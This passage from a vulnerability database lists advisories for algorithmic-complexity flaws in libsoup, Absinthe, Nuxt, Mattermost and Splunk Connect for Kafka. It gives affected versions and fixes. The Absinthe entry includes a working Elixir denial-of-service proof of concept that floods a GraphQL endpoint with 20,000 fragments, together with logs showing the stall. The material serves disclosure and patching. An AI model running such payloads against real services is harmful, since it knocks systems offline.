"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28804"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/pull/3666"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/commit/648c627d2657447dfb1773412af05a0a5103b98f"
},
{
"type": "PACKAGE",
"url": "https://github.com/py-pdf/pypdf"
},
{
"type": "WEB",
"url": "https://github.com/py-pdf/pypdf/releases/tag/6.7.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pypdf vulnerable to inefficient decoding of ASCIIHexDecode streams"
}
GHSA-9M98-W4QJ-8F6Q
Vulnerability from github – Published: 2026-08-25 21:31 – Updated: 2026-08-25 21:31An algorithmic complexity flaw exists in libsoup's HTTP Range header processing that persists after the CVE-2025-32907 fix.
CVE-2025-32907 addressed memory amplification when a client repeated the same range many times in a single Range header. Commit 9bb92f7a corrected merge correctness in soup_message_headers_get_ranges_internal() in libsoup/soup-message-headers.c, but the coalescing loop still removes merged ranges using g_array_remove_index() for each coalesced element. Because GArray is contiguous, each mid-array removal performs an O(N) memmove. When many identical satisfiable ranges are supplied (for example bytes=0-0 repeated thousands of times), the loop performs O(N²) work coalescing them into a single range.
The vulnerable path is reachable server-side from handle_partial_get() in libsoup/server/http1/soup-server-message-io-http1.c when a SoupServer handler returns HTTP 200 with a non-empty body. No authentication is required. The number of ranges is bounded only by the maximum request header size (~100 KiB), allowing roughly 25,000 ranges per request. Reporter measurements on libsoup HEAD containing the CVE-2025-32907 fix show ~90 ms single-core CPU per such request at the wire maximum, blocking the server's event loop for that duration.
This is a CPU exhaustion / availability issue only. No memory corruption or information disclosure occurs.
Affected: libsoup versions containing the CVE-2025-32907 fix but not merge request !550. Fixed upstream: MR !550 merged 2026-08-20, replacing per-element removal with O(N) in-place compaction and rejecting Range headers requesting more than 200 ranges. Upstream report: https://gitlab.gnome.org/GNOME/libsoup/-/issues/538 Related: CVE-2025-32907
{
"affected": [],
"aliases": [
"CVE-2026-77680"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T21:17:46Z",
"severity": "MODERATE"
},
"details": "An algorithmic complexity flaw exists in libsoup\u0027s HTTP Range header processing that persists after the CVE-2025-32907 fix.\n\nCVE-2025-32907 addressed memory amplification when a client repeated the same range many times in a single Range header. Commit 9bb92f7a corrected merge correctness in soup_message_headers_get_ranges_internal() in libsoup/soup-message-headers.c, but the coalescing loop still removes merged ranges using g_array_remove_index() for each coalesced element. Because GArray is contiguous, each mid-array removal performs an O(N) memmove. When many identical satisfiable ranges are supplied (for example bytes=0-0 repeated thousands of times), the loop performs O(N\u00b2) work coalescing them into a single range.\n\nThe vulnerable path is reachable server-side from handle_partial_get() in libsoup/server/http1/soup-server-message-io-http1.c when a SoupServer handler returns HTTP 200 with a non-empty body. No authentication is required. The number of ranges is bounded only by the maximum request header size (~100 KiB), allowing roughly 25,000 ranges per request. Reporter measurements on libsoup HEAD containing the CVE-2025-32907 fix show ~90 ms single-core CPU per such request at the wire maximum, blocking the server\u0027s event loop for that duration.\n\nThis is a CPU exhaustion / availability issue only. No memory corruption or information disclosure occurs.\n\nAffected: libsoup versions containing the CVE-2025-32907 fix but not merge request !550.\nFixed upstream: MR !550 merged 2026-08-20, replacing per-element removal with O(N) in-place compaction and rejecting Range headers requesting more than 200 ranges.\nUpstream report: https://gitlab.gnome.org/GNOME/libsoup/-/issues/538\nRelated: CVE-2025-32907",
"id": "GHSA-9m98-w4qj-8f6q",
"modified": "2026-08-25T21:31:32Z",
"published": "2026-08-25T21:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77680"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-32907"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-77680"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2520892"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/538"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/libsoup/-/merge_requests/550"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9MHV-8H52-Q7Q2
Vulnerability from github – Published: 2026-05-14 13:08 – Updated: 2026-05-14 13:08Summary
An unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).
Introduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14
Details
Absinthe.Phase.Document.Validation.UniqueFragmentNames (lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40) walks every fragment in input.fragments via run/2, calling process/2 on each one. process/2 then calls duplicate?/2, which evaluates Enum.count(fragments, fn f -> f.name == name end) — a full linear scan of the fragment list — for every individual fragment. The result is N · N name comparisons per document.
input.fragments is built directly from the GraphQL query text the caller sends at the head of the pipeline, so N is attacker-controlled. A minimum-size fragment definition (fragment a on T{f}) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps N.
The fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:
dups =
for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),
k > 1,
into: MapSet.new(),
do: name
and then check MapSet.member?(dups, fragment.name) inside process/2. That collapses the phase to O(N).
PoC
A standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the UniqueFragmentNames phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.
Impact
Algorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.
Scripts and Logs
# Verifies: Quadratic fragment-name uniqueness check
Mix.install([
{:absinthe, "~> 1.7"},
{:absinthe_plug, "~> 1.5"},
{:bandit, "~> 1.0"},
{:plug, "~> 1.15"},
{:jason, "~> 1.4"},
{:req, "~> 0.5"}
])
defmodule VictimSchema do
use Absinthe.Schema
object :thing do
field :f, :string
end
query do
field :thing, :thing do
resolve(fn _, _ -> {:ok, %{f: "x"}} end)
end
end
end
defmodule VictimRouter do
use Plug.Router
plug :match
plug Plug.Parsers,
parsers: [:json],
pass: ["*/*"],
json_decoder: Jason
plug :dispatch
forward "/graphql",
to: Absinthe.Plug,
init_opts: [schema: VictimSchema]
match _ do
send_resp(conn, 404, "nope")
end
end
port = 47817
{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)
n = 20_000
fragments =
1..n
|> Enum.map(fn i -> "fragment f#{i} on Thing{f}" end)
|> Enum.join(" ")
query = "{ thing { f } } " <> fragments
IO.puts(
"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}"
)
{us, response} =
:timer.tc(fn ->
Req.post!("http://127.0.0.1:#{port}/graphql",
json: %{query: query},
receive_timeout: 600_000,
retry: false
)
end)
ms = div(us, 1000)
IO.puts("HTTP response status: #{response.status}")
IO.puts("Total request elapsed (validation-dominated): #{ms} ms")
result =
if ms > 1000 do
"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check)."
else
"NOT VERIFIED: elapsed #{ms} ms below DoS threshold"
end
IO.puts(result)
Logs
HTTP response status: 200
Total request elapsed (validation-dominated): 15451 ms
VERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "absinthe"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43967"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T13:08:44Z",
"nvd_published_at": "2026-05-08T16:16:12Z",
"severity": "HIGH"
},
"details": "### Summary\nAn unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N\u00b2) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).\n\nIntroduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14\n\n### Details\n`Absinthe.Phase.Document.Validation.UniqueFragmentNames` (`lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40`) walks every fragment in `input.fragments` via `run/2`, calling `process/2` on each one. `process/2` then calls `duplicate?/2`, which evaluates `Enum.count(fragments, fn f -\u003e f.name == name end)` \u2014 a full linear scan of the fragment list \u2014 for every individual fragment. The result is `N \u00b7 N` name comparisons per document.\n\n`input.fragments` is built directly from the GraphQL query text the caller sends at the head of the pipeline, so `N` is attacker-controlled. A minimum-size fragment definition (`fragment a on T{f}`) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 \u00d7 10\u2079 comparisons inside this one phase. Phoenix\u0027s default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps `N`.\n\nThe fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:\n\n```elixir\ndups =\n for {name, k} \u003c- Enum.frequencies_by(input.fragments, \u0026 \u00261.name),\n k \u003e 1,\n into: MapSet.new(),\n do: name\n```\n\nand then check `MapSet.member?(dups, fragment.name)` inside `process/2`. That collapses the phase to O(N).\n\n### PoC\nA standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe\u0027s pipeline, and times the `UniqueFragmentNames` phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.\n\n### Impact\nAlgorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required \u2014 only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix\u0027s default body-size limit.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Quadratic fragment-name uniqueness check\n\nMix.install([\n {:absinthe, \"~\u003e 1.7\"},\n {:absinthe_plug, \"~\u003e 1.5\"},\n {:bandit, \"~\u003e 1.0\"},\n {:plug, \"~\u003e 1.15\"},\n {:jason, \"~\u003e 1.4\"},\n {:req, \"~\u003e 0.5\"}\n])\n\ndefmodule VictimSchema do\n use Absinthe.Schema\n\n object :thing do\n field :f, :string\n end\n\n query do\n field :thing, :thing do\n resolve(fn _, _ -\u003e {:ok, %{f: \"x\"}} end)\n end\n end\nend\n\ndefmodule VictimRouter do\n use Plug.Router\n\n plug :match\n\n plug Plug.Parsers,\n parsers: [:json],\n pass: [\"*/*\"],\n json_decoder: Jason\n\n plug :dispatch\n\n forward \"/graphql\",\n to: Absinthe.Plug,\n init_opts: [schema: VictimSchema]\n\n match _ do\n send_resp(conn, 404, \"nope\")\n end\nend\n\nport = 47817\n{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)\n\nn = 20_000\n\nfragments =\n 1..n\n |\u003e Enum.map(fn i -\u003e \"fragment f#{i} on Thing{f}\" end)\n |\u003e Enum.join(\" \")\n\nquery = \"{ thing { f } } \" \u003c\u003e fragments\n\nIO.puts(\n \"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}\"\n)\n\n{us, response} =\n :timer.tc(fn -\u003e\n Req.post!(\"http://127.0.0.1:#{port}/graphql\",\n json: %{query: query},\n receive_timeout: 600_000,\n retry: false\n )\n end)\n\nms = div(us, 1000)\nIO.puts(\"HTTP response status: #{response.status}\")\nIO.puts(\"Total request elapsed (validation-dominated): #{ms} ms\")\n\nresult =\n if ms \u003e 1000 do\n \"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe\u0027s UniqueFragmentNames phase (quadratic check).\"\n else\n \"NOT VERIFIED: elapsed #{ms} ms below DoS threshold\"\n end\n\nIO.puts(result)\n```\n\n\n### Logs\n\n```logs\nHTTP response status: 200\nTotal request elapsed (validation-dominated): 15451 ms\nVERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe\u0027s UniqueFragmentNames phase (quadratic check).\n```",
"id": "GHSA-9mhv-8h52-q7q2",
"modified": "2026-05-14T13:08:44Z",
"published": "2026-05-14T13:08:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/absinthe-graphql/absinthe/security/advisories/GHSA-9mhv-8h52-q7q2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43967"
},
{
"type": "WEB",
"url": "https://github.com/absinthe-graphql/absinthe/commit/223600c520493dcaf95080af552c413099f92c9d"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-43967.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/absinthe-graphql/absinthe"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-43967"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Absinthe: Quadratic fragment-name uniqueness check"
}
GHSA-9PGF-384G-P7MV
Vulnerability from github – Published: 2026-08-05 21:43 – Updated: 2026-08-05 21:43Impact
The internal island renderer endpoint (/__nuxt_island/...) decodes and hashes attacker-controlled request input before it validates the URL-resident hash. An unauthenticated POST /__nuxt_island/<name>_<anything>.json with a large JSON body (for example ~4.6 MB / 150k keys) is fully read, destr-parsed, and run through ohash before the request is rejected with a 400. Because Nitro runs on a single event loop, this both wastes CPU on the doomed request and delays every concurrent request. A low request rate is enough to degrade or stall the server. No valid hash and no authentication are required.
Patches
Fixed in nuxt@4.5.1 and nuxt@3.21.10. The island handler now enforces a raw body-size cap (413) and a JSON nesting-depth cap (400) before parsing or hashing, so oversized or deeply nested input is rejected cheaply.
Workarounds
Put a small request-body limit in front of /__nuxt_island/ at your reverse proxy / edge (islands legitimately send only a compact props payload), or disable server components if unused.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "nuxt"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.21.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71321"
],
"database_specific": {
"cwe_ids": [
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-05T21:43:03Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nThe internal island renderer endpoint (`/__nuxt_island/...`) decodes and hashes attacker-controlled request input before it validates the URL-resident hash. An unauthenticated `POST /__nuxt_island/\u003cname\u003e_\u003canything\u003e.json` with a large JSON body (for example ~4.6 MB / 150k keys) is fully read, `destr`-parsed, and run through `ohash` before the request is rejected with a 400. Because Nitro runs on a single event loop, this both wastes CPU on the doomed request and delays every concurrent request. A low request rate is enough to degrade or stall the server. No valid hash and no authentication are required.\n\n### Patches\n\nFixed in `nuxt@4.5.1` and `nuxt@3.21.10`. The island handler now enforces a raw body-size cap (`413`) and a JSON nesting-depth cap (`400`) before parsing or hashing, so oversized or deeply nested input is rejected cheaply.\n\n### Workarounds\n\nPut a small request-body limit in front of `/__nuxt_island/` at your reverse proxy / edge (islands legitimately send only a compact props payload), or disable server components if unused.",
"id": "GHSA-9pgf-384g-p7mv",
"modified": "2026-08-05T21:43:03Z",
"published": "2026-08-05T21:43:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-9pgf-384g-p7mv"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/4e35ae9babd94be53246e31200232d48438bb34e"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/commit/668cdfdfda41849ed11c1ee5e2067a11fc103b22"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuxt/nuxt"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/releases/tag/v3.21.10"
},
{
"type": "WEB",
"url": "https://github.com/nuxt/nuxt/releases/tag/v4.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nuxt: Unauthenticated CPU exhaustion parsing and hashing the Nuxt island endpoint body before hash validation"
}
GHSA-9R42-RHW3-2222
Vulnerability from github – Published: 2026-01-16 09:31 – Updated: 2026-02-27 22:05Mattermost versions 10.11.x <= 10.11.8 fail to validate input size before processing hashtags which allows an authenticated attacker to exhaust CPU resources via a single HTTP request containing a post with thousands space-separated tokens.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.11.8"
},
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.11.0"
},
{
"fixed": "10.11.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-14822"
],
"database_specific": {
"cwe_ids": [
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-16T20:54:02Z",
"nvd_published_at": "2026-01-16T09:16:01Z",
"severity": "LOW"
},
"details": "Mattermost versions 10.11.x \u003c= 10.11.8 fail to validate input size before processing hashtags which allows an authenticated attacker to exhaust CPU resources via a single HTTP request containing a post with thousands space-separated tokens.",
"id": "GHSA-9r42-rhw3-2222",
"modified": "2026-02-27T22:05:20Z",
"published": "2026-01-16T09:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14822"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/4d86263f5430d0eb991fc52ec886cf778cb072e6"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/b3d6c0c564c1a79e54e5105d0a8b60fc58a2bdee"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4325"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Mattermost is vulnerable to CPU exhaustion via crafted HTTP request"
}
GHSA-9W75-CVCH-H753
Vulnerability from github – Published: 2026-08-20 00:35 – Updated: 2026-08-20 00:35In Splunk Connect for Kafka versions below 2.2.7, an unauthenticated user who can reach the Kafka Connect Representational State Transfer (REST) API could configure timestamp extraction with a crafted regular expression and matching event data to block a Kafka Connect worker thread, stopping event delivery for the affected connector. The vulnerability is possible because timestamp extraction evaluates customer-supplied regular expressions without a time limit. For more information see Install Splunk Connect for Kafka (https://help.splunk.com/en/data-management/integrate-data-with-add-ons/splunk-connect-for-kafka/2.2/install/install-splunk-connect-for-kafka) and Data ingestion parameters for Splunk Connect for Kafka (https://help.splunk.com/en/data-management/integrate-data-with-add-ons/splunk-connect-for-kafka/2.2/overview/data-ingestion-parameters-for-splunk-connect-for-kafka) in the Splunk documentation.
{
"affected": [],
"aliases": [
"CVE-2026-76401"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T22:17:26Z",
"severity": "MODERATE"
},
"details": "In Splunk Connect for Kafka versions below 2.2.7, an unauthenticated user who can reach the Kafka Connect Representational State Transfer (REST) API could configure timestamp extraction with a crafted regular expression and matching event data to block a Kafka Connect worker thread, stopping event delivery for the affected connector. The vulnerability is possible because timestamp extraction evaluates customer-supplied regular expressions without a time limit. For more information see Install Splunk Connect for Kafka (https://help.splunk.com/en/data-management/integrate-data-with-add-ons/splunk-connect-for-kafka/2.2/install/install-splunk-connect-for-kafka) and Data ingestion parameters for Splunk Connect for Kafka (https://help.splunk.com/en/data-management/integrate-data-with-add-ons/splunk-connect-for-kafka/2.2/overview/data-ingestion-parameters-for-splunk-connect-for-kafka) in the Splunk documentation.",
"id": "GHSA-9w75-cvch-h753",
"modified": "2026-08-20T00:35:07Z",
"published": "2026-08-20T00:35:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76401"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0808"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.